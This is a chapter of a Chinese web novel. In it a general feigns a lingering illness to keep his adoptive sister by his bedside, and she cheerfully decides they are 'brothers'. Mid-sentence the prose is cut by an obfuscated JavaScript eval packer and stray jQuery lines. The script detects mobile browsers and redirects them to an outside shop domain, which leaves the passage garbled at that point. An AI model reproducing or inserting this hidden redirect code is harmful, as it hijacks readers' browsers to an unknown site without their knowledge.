19. 第十九章 兄弟姐妹
    霜雪还没有进来,陈长川似乎是听到了白绮恩的声音,缓缓睁开眼帘,映入眼眸是急着挣脱他白绮恩,她急急忙忙要抽出自己的手。陈长川这才意识到自己无意间抓住她的手,她的手腕很纤细柔弱柔荑,陈长川想要张口说自己醒了,奈何一开口,咳嗽连连。

    白绮恩这才意思到,长川终于醒过来,她欢喜道,“你可算醒了,都几天了。”

    陈长川一手捂着嘴巴咳嗽一手拽着白绮恩的手,见他那样子咳嗽连着不断,好像很难受样子,白绮恩不觉有些忧心,她忘记抽回自己的手。

    好一会儿,陈长川那儿接连不断听着怪令人担心的咳嗽声终于停止下来了,白绮恩看着他小心翼翼开口,探问“你也真是的,说了让你去找个大夫,非要自己大冷天泡冷水澡,不是自己找病吗,你那个,没事吧?”

    陈长川抓着白绮恩的手心里暖暖的,道,“我没事,这些天都是你在照顾我吧。”眼中含有喜悦的笑意。

    白绮恩直勾勾看着他,理直气壮道,“不然呢,不是我,谁会那么细心管你,看你给我找麻烦。我几天没出去玩了。”

    陈长川嘴角微扯起,微微一笑,“那真是幸苦你,话又说回来,要不是你手那么准,我至于受这份罪嘛。照顾我几天你就不满意啦。怎么说我是你家里人。对不对?”你白绮恩的人。

    白绮恩听不出他话里话,她听到他提到手,睁着眼睛道,“你赶紧松开手,拽着我干什么。”

    “我”陈长川一个我字刚说出来,手上猛地用劲将人往里面带,白绮恩坐床沿身子不提防顺着他力度向他怀里撞过去。

    “哎呦,长川,你有病是吗,叫你放手不是叫你,哎霜雪,你,你还不赶紧进来。”白绮恩压在陈长川身上,正说着霜雪毫无预兆推门进来。

    长川转头对霜雪道,“出去。”

    霜雪搁在门槛处不进不出刚一步迈进门看到这个刺激人眼球的场景看,她这是看到什么?

    姑娘怎么趴在川少爷的床上?

    猛地一激灵,心道这她作为个小人还是知道得越少为好,赶紧快步退出,顺便把门关上。

    白绮恩看着不讲义气的霜雪溜了,她朝着门口方向连着喂了好几声,霜雪都没有再进来,白绮恩气得直在她陈长川的鼓囔囔的胸膛上一捶,力度不大,但也不小,捶完后后悔又气道,“看看你,还不松手。”

    长川虚弱呼吸一下,弱弱看着白绮恩,他的眼睛很明亮,好似夜晚星星一般散发着迷人的光辉,微弱而美丽,一不小心会将那个落入他眼眸里人吸进去,“绮恩,你打得我真疼。我现在可生病着呢,经不起你这么折腾。”说着又是咳嗽,咳得跟真的一样。

    其实白绮恩的那一下力度在他哪儿是不轻不重的,捶得他心里小兔乱跳,血液沸腾。

    白绮恩见他又咳嗽,以为真得把他捶疼了,忧心道,“我赶紧下来。”说着要往下爬,手腕确实被紧紧抓住,她抬头望着脸色苍白,嘴唇有些泛白的陈长川,想要发脾性喝斥他松手,但想到他生病的缘故,语气柔和些,“长川,你放手,我好下去,压在你身上你不难受啊,快点。”

    不难受,很享受。

    这话当然不能直接说出来,陈长川柔软跟随风飘摇的柳絮一般,看着疼脆弱,特令人想要好好爱护,整个一个薄弱无力的美男子,这幅楚楚动人病美男模样把白绮恩的心都要看柔化了,她平生最喜欢美丽人和物。

    陈长川瞄准了她这一点儿,气息微弱道,“我睡觉时候总做噩梦,手里不抓个东西不安心。”

    白绮恩为难,她另一只手拿起床里面的小枕头道,“那你抓这个吧。这样你不会做噩梦了,长川,以前我怎么没听说你会做噩梦吗。”

    陈长川皱眉,用很受伤语气道,“你不信我?”说着甩开了她白绮恩的手,白绮恩握握被拽进了手腕退下了床,难道自己真得伤着他?他一个能统率三军的将军有那么脆弱,“不是啦。”

    陈长川继续皱眉,略微哀伤而又淡然语气道,“绮恩,我只是普通人,看在外人眼里我是那么威风无限,其实我心里很不安心,你也知道我自幼父母双亡,寄居在你们家里,心里怎么能自然得了呢,邻居家的孩子都骂我是野孩子,没父母,用石子砸我,是你挡在我身前,喝退了那群小孩,那时候我感到自己特别安心。现在你”余下话尽在不言中。

    说得白绮恩心里有丢丢愧疚,自己好像说过要罩着他来着,可是也没道理因为他想要不做噩梦自己就得把手伸去给他抓着,当她是什么,暖心布娃娃?

    白绮恩正犹豫着,陈长川暗中观察神色,又故作淡然轻松道,“这没什么,你我都长大,我没道理要你一直护着我意思,尽管我长得这么大,仍然孑然一身,孤苦伶仃,有话无人说,房子虽大,到底是孤单,没关系,我可以,反正这么些”

    “什么没关系,”话没说话,白绮恩听不下去她抢白道,“你当我是什么人,我说过要护你一辈子,都护你一辈子,把手拿过来。嗯。”

    陈长川直直看着她,“绮恩,你没必要勉强,你是大姑娘了,外头人要怎么说。”

    “我管外头人怎么说呢。我就要你了,他们能怎么样。反正我们问心无愧。”白绮恩见他磨磨唧唧敢接直接拉过他的手紧紧握在手里,陈长川意思意思要挣脱。

    听白绮恩称‘我们’起来,陈长川心里很受用,至于问心无愧有待商鹤,他反手握着白绮恩柔软丝绸般丝滑的手掌,将她的手掌包裹在自己长年持剑粗糙的手掌里面。

    白绮恩真是粗心大叶,没有觉得有什么不妥,她眼神跃跃往他下三路看去,陈长川问道,“你想看什么?”

    白绮恩想起那晚上事情挺不好意思,她不知道男人拿玩意长那摸样,难得腼腆道,“你那个没毛病吧?没事了?”

    陈长川审视望着她,她怎么对男子的这些玩意感兴趣,平时看得什么绘本啊,算了,她有可能是内疚吧,不打算再逗她,“没你想得那么脆弱,绮恩,你要不躺上来休息吧,我看你气色不大好,是累着吧。”说着挪开块空地,拍拍示意绮恩上来。

    白绮恩想也没想,果断的摇摇头,虽然她们是兄妹,到底是长大了,都不是孩子,“我坐着挺好的,长川,你该喝药了。”

    陈长川知道白绮恩意思,这样也好,她也不是什么都不懂,他道,“苦,不想喝。”

    白绮恩唤霜雪端进药进来,霜雪进来后眼看鼻,鼻观心,放好药后匆匆出去了。

    白绮恩抽出自己的手,拿起药碗,端到陈长川面前,“早喝早好。我累了几天了。”

    陈长川看着黑黢黢药汤,想说你不能温柔点吗,像个女孩子样子,不过转念一想,绮恩性子打小这样,还是算了吧,他扫了眼药,抬起眼睛望着白绮恩,“我浑身没力气,端不住药碗。”

    白绮恩道,“我给你端着,你喝吧。快点儿,这药沉着呢。”

    陈长川在继续装,“我双手没力气。你总不能让我把脖子伸过去吧。”

    白绮恩算是看出这家伙,纯粹是装的,她假模假样笑嘻嘻道,“你的意思是说要我喂你?”

    陈长川露出受宠若惊的表情,“我没怎么说。”心里祈祷快些吧。

    白绮恩看他装得像模像样的,笑笑道,“行,我喂你。张嘴。”说着把一大碗要端到陈长川嘴巴旁。

    陈长川撑着做了起来,“没勺子?”

    白绮恩坏笑道,“我喂药不用勺子。”说完不带陈长川回应直接就着他嘴巴用药一大碗一气呵成给他灌下去,期间陈长川呛得咳嗽好几下,她都没理会。

    好不容易把这难喝的苦药喝下去,陈长川给整得要咳出来,白绮恩怕他把好不容易喝下去的药吐出来,赶紧伸手捂着他嘴巴,迫使他头扬起,“不许吐。”声音听严厉,听着像是训斥人一样。

    陈长川望着一脸严肃的白绮恩,眨巴眨巴眼睛意思是自己知道了,白绮恩在确定他不会吐出来后,手才收回去,“你看看你跟我耍什么花…”

    话说道一般,陈长川呕一下把刚才喂进去的东西全都如数归还退还回来了,吐得他自己衣襟上和白绮恩衣裙上。

    陈长川吐完了很抱歉的抹了下嘴角,看着一脸震惊气愤恼怒恶心的白绮恩,他歉意道,“我不是故意。”白绮恩那么蛮牛似喂药法子药水并没有如数进入肠胃了,有些呛住,趁着机会要吐出来。

    白绮恩脸色由白转黑。

    屋里头传来了白绮恩咆哮如雷惊天动地声音,“陈—长—川—,你陪我裙子。”

    外头的守卫想要那点儿东西塞耳朵,白小姐的嗓音太高了,将军怎么找小姐了。

    屋里头白绮恩是顾不得他是病人,直接扑上去对着陈长川就是一顿暴风雨捶打,拳头大大小小洗漱落在陈长川身上。

    陈长川被打得有的吃疼,不过心里美滋滋的,由着白绮恩在他身上发泄滔天怒火。

    “轻点,轻点”

    “轻你个头啊,打不死你,你故意的。”

    “打疼啦。”

    “不够呢,再来。”

    白绮恩给陈长川着实气着,她闷头不吭是要离开,陈长川拉住她手腕不染她走,“好了,是我错,我不对,不该吐你一身。

    绮恩,你大人有大量,别跟我这生病人计较不行吗,再说那天事情我还没算账呢,说起来你可是差点儿要我老命啊。”说着他观察了下白绮恩神色。

    白绮恩一听那晚事情,火气一下子下去不少,她犟嘴道,“我不是故意的。”

    陈长川道,“我吐出来也不是故意的。扯平行不行。”

    在陈长川再三花言巧语的哄下,白绮恩总算又做回床沿上,双手环胸,看着前方,气鼓鼓模样。“那个真的事情怎么样了?办妥没有。”真的那个一直以来是白绮恩的心病,她真得很舍不得这白府小姐尊贵身份,更舍不得爹爹娘亲独一无二的爱护,还有长川毫无私心的偏爱。

    陈长川凑过去,“没事,会搞定的。绮恩,你放心好了。”

    白绮恩一想到自己不是爹爹娘亲的亲身女儿心里就难受要命,不大开心道,“这事一日不搞定,我怎么可能放心,你是不是觉得我很自私,是那种贪图荣华富贵的女孩。”她转过头眼中盈盈若有水问陈长川。

    陈长川注视着白绮恩真切道,“没有,在我心里,绮恩,是最好的,不管你是不是义父义母的女儿,你都是我的好绮恩,不可替代。”这话说得煽情,搁旁人耳朵里早听出味道,偏生绮恩真没听出什么滋味。

    白绮恩依旧恹恹不乐,“你不知道,我跟爹爹娘亲生活那么久,在我眼里他们就是亲生父母,突然这样,我真得很难受,很难受,我害怕,害怕爹爹娘亲不要我了,要我回去找亲生父母,可是我跟他们不相不识,跟陌生人一样。”

    陈长川板过她的身子,双手放在她的双臂上,看着她认真道,“绮恩,不用担心,义父义母不是那样人,再说就算他们不要你了,你可以来我府邸哪儿住了,我对你的感情始终如一,我们是家里人啊,一直都是。”

    白绮恩正伤心呢,听陈长川说他们是家里人,她心里多少好过些,陈长川顺势将她脑袋揽过来,让她依靠在自己肩膀上,白绮恩也没觉得没什么不对,在他肩膀上靠了好一会儿,“长川,你真好。”

    陈长川心中欢喜。还没来得及高兴一会儿,白绮恩下一句话又把他从天上拉下来,摔在地上,“像哥哥一样的好,我想我要是有个哥哥一定像你这样的爱护我这个妹妹。”

    陈长川嘴角抽抽,引导她道,“其实你可以换个角度想。”

    白绮恩不大明白,用食指捂着嘴唇,她的嘴唇殷红而滋润,看着水滋滋的饱满,真得很想让人咬上一口。

    陈长川停止自己胡乱思想,白绮嗯放下手指恍然大悟站起来,大喜道,“我明白了。”

    陈长川在床上抬头问,“你明白了?”

    白绮恩装过身兴高采烈对他道,“我当然明白了。”

    陈长川张口欲言,有些害羞有些兴奋,绮恩终于知道他的心思,她开窍了。

    开窍的绮恩说道,“你是想把我当兄弟。”

    陈长川长大嘴巴,感觉心掉沟里,还是地下沟,“啊”

    白绮恩慢步走回床边坐下,面对着一脸色僵硬的陈长川,拍拍肩膀,老大哥似说道,“你自小没有个兄弟,所以你把我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172673|150518||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当作你唯一的弟弟,其实,这没关系啊,我也是独出,虽然我有三个堂姐,当你知道了,那是二叔三叔家孩子,多久见上一面,咱们是一起长大,从小一起吃,一块玩,一块胡闹闯祸。你自然是当我是兄弟,我可当你是姐妹。这么说来,好像就这咱们最亲。”白绮恩越说越觉得自己分析得对。

    陈长川心道对个屁,他还是高估了白绮恩,是该说她纯还是该说她蠢,说她纯的话她屋子里黄色小人书能铺满一间小杂物吧,说她蠢,馊主意损招数妙来,总是把人算得团团转。

    慢慢来吧,得从兄弟情意转化为男女情意。

    遇上她,陈长川只觉得他的情路有很长很远一段路。

    谁让她脑回路跟别人不一样呢。

    脑回路不同的白绮恩还在一旁问他说,“我说得对不对,你以后你是我姐妹,我是你兄弟啦,咱们一起,天下无敌。”

    陈长川强笑含含糊糊应和着。

    才不要跟你做什么姐妹兄弟呢,迟早一定要把地位纠正。

    两人身上都要药渍,各自会房间清洗换衣裳,在洗漱期间,霜雪小心翼翼试试探探问,“你怎么趴在川少爷身上了,不怕压坏他。”总感觉川少爷对自家姑娘很古怪,好的古怪,可是自己姑娘好像很正常,到底怎么回事啊。

    白绮恩用毛巾擦拭着身子,心情愉悦,因为长川成了她的姐妹了,“你瞎操什么心,他这人结实着呢,压不坏。”

    霜雪想了想,“可他这次也生病,我死地下问过了那些懂的人,姑娘,你猜川少爷是为什么受寒?”

    “为什么?”那天爹爹娘亲他们和大夫说的话她并不大懂,可是泡凉水澡别人可能会受寒,放在常年健身锻炼的长川身上就不一样了。

    霜雪一边倒水一边想着老人说得那话,脸上不觉有些红了,好在屋里头水汽氤氲,热得很,白绮恩也被熏成了粉红粉红的。她往浴桶里倒了一桶水,俯身在白绮恩耳边唧唧咕咕这般这般那样那样一五一十的说了。

    白绮恩听了略微觉得这事情怪不好意思,但没有脸红,她明白似说道,“这么说,长川是因为想要女子想的。”

    霜雪自我推测道,“可不是吗,川少爷长年在军中,没接触什么女人,有什么需求一直都是憋着,加上川少爷洁身自好,更不会去那烟火之地,碰那风尘女子,非要解释只能是这个原因。”

    白绮恩想了想,摩挲着下颚,“可是名都的姑娘们好像不大喜欢他呀。怎么办,总不能强取豪夺,逼着人家姑娘喜欢他吧。”

    霜雪道,“姑娘啊,你消息落后啦,现在在名都里川少爷可是和宫南羽并齐是名都姑娘榜上最想要夫婿,怎么可能没有人喜欢他呢,你这哪儿听来的胡话。”

    白绮恩道,“可我没有见到那家姑娘给他抛花递信物。”

    霜雪又反驳道,“也许川少爷心中早有所属呢,别姑娘他看不上,所以宁愿为那人守身如玉。”

    “可那姑娘是谁啊?”

    “这我上那知道,我又不是川少爷肚子里蛔虫。”说着霜雪给把绮恩拿来了干净的衣物,伺候白绮恩擦拭身上水珠,俯视她穿上。

    白绮恩一边穿衣裳一边想,长川怎么说是跟这自己长大,作为兄弟兼姐妹她应该给他物色个好姑娘。

    毕竟他帮自己隐瞒了不是亲生的事情,冲这点当一会儿红娘也不算什么。

    白绮恩越想越觉得自己够义气。长川有自己这么个好兄弟兼姐妹真是有福气。

    不知道为什么了,明明伤寒之类发散后几天就能痊愈,在长川这儿拖出了十几天,白将军夫妇询问大夫怎么那么久没好时候,大夫回答磕磕绊绊不大自然,总之意思是要顺其自然。

    白绮恩心中明了,对爹爹娘亲说道,“我明白了。”

    白将军夫妇糊涂,“绮恩,你明白什么啊?”

    白绮恩道,“反正就是明白了。”难为长川为那女子那般痴情,真是叫人感动,不过那女子忒不识货,怎么不好好端详长川,多好男人,这个不要我给他找个好的,别让他吊死在那颗树上。

    大夫心虚走出白府,他从来没有见过要继续生病的病人,非要他跟着说话,这什么跟什么。

    由于陈长川的病一直拖着不好,又因为他的病是白绮恩不小心抓起来的,白绮恩只好捏着鼻子继续照顾,有时她怀疑他是装的,质问他。

    陈长川故作虚弱,有气无力道,“你看我像装的吗?再说了哪有人喜欢生病啊。”

    陈长川生病卧床累得白绮恩天天要陪着他,哪儿也不得去玩,心中很是苦闷。

    这个陈长川自己不会追女孩子,天天支使她一会儿这儿,一会儿哪儿的伺候他,连洗脸这种小事情也要麻烦她,绮恩有时想想真想把面巾丢他脸上,让他自己洗,明明有卫兵,怎么总劳烦她呀。

    陈长川生病期间,淑熙郡主派人来探问一次,陶戈鸣亲自来两次,陈长川都以身子不适为由没见,多谢她们好意。

    白绮恩从中看出意思,陶戈鸣这个男人样子姑且不考虑,淑熙可是文静有礼,进退有度,坨坨大家闺秀。实在是自己心目中的嫂子不二人选。

    白绮恩指责他不能这么没人情味,陈长川摊手说自己也是没办法,身子不舒服啊。

    这脸皮,怎么不去比城墙啊。

    陈长川看着白绮恩生气有无奈样子,心中小欢喜,忽然想起了太子那日说得事情,他对给他倒水的白绮恩道,“绮恩,这些日子你跟太子不要走太近了,他要选太子妃了,你避嫌些。”

    白绮恩将水杯塞到陈长川手里,“他选他的,我做我的,有什么干系?”

    陈长川指了指了她道,末了无奈的垂下手,“这次太子选妃都是人选都是三公以上的官宦家小姐,你要是跟太子走得进,皇后娘娘以为太子属意你,一道旨意下来怎么办。你真去当太子妃啊。”

    好像有听爹爹娘亲说过太子选妃一事,白绮恩道,“好吧。”

    白绮恩是个活泼喜动人物,老拘在金戈楼不打自在,她想出去玩,陈长川一听说不行,要玩也要带上他。

    白绮恩叉着腰道,“干嘛要带上你,我又不是小孩子,你少管我。”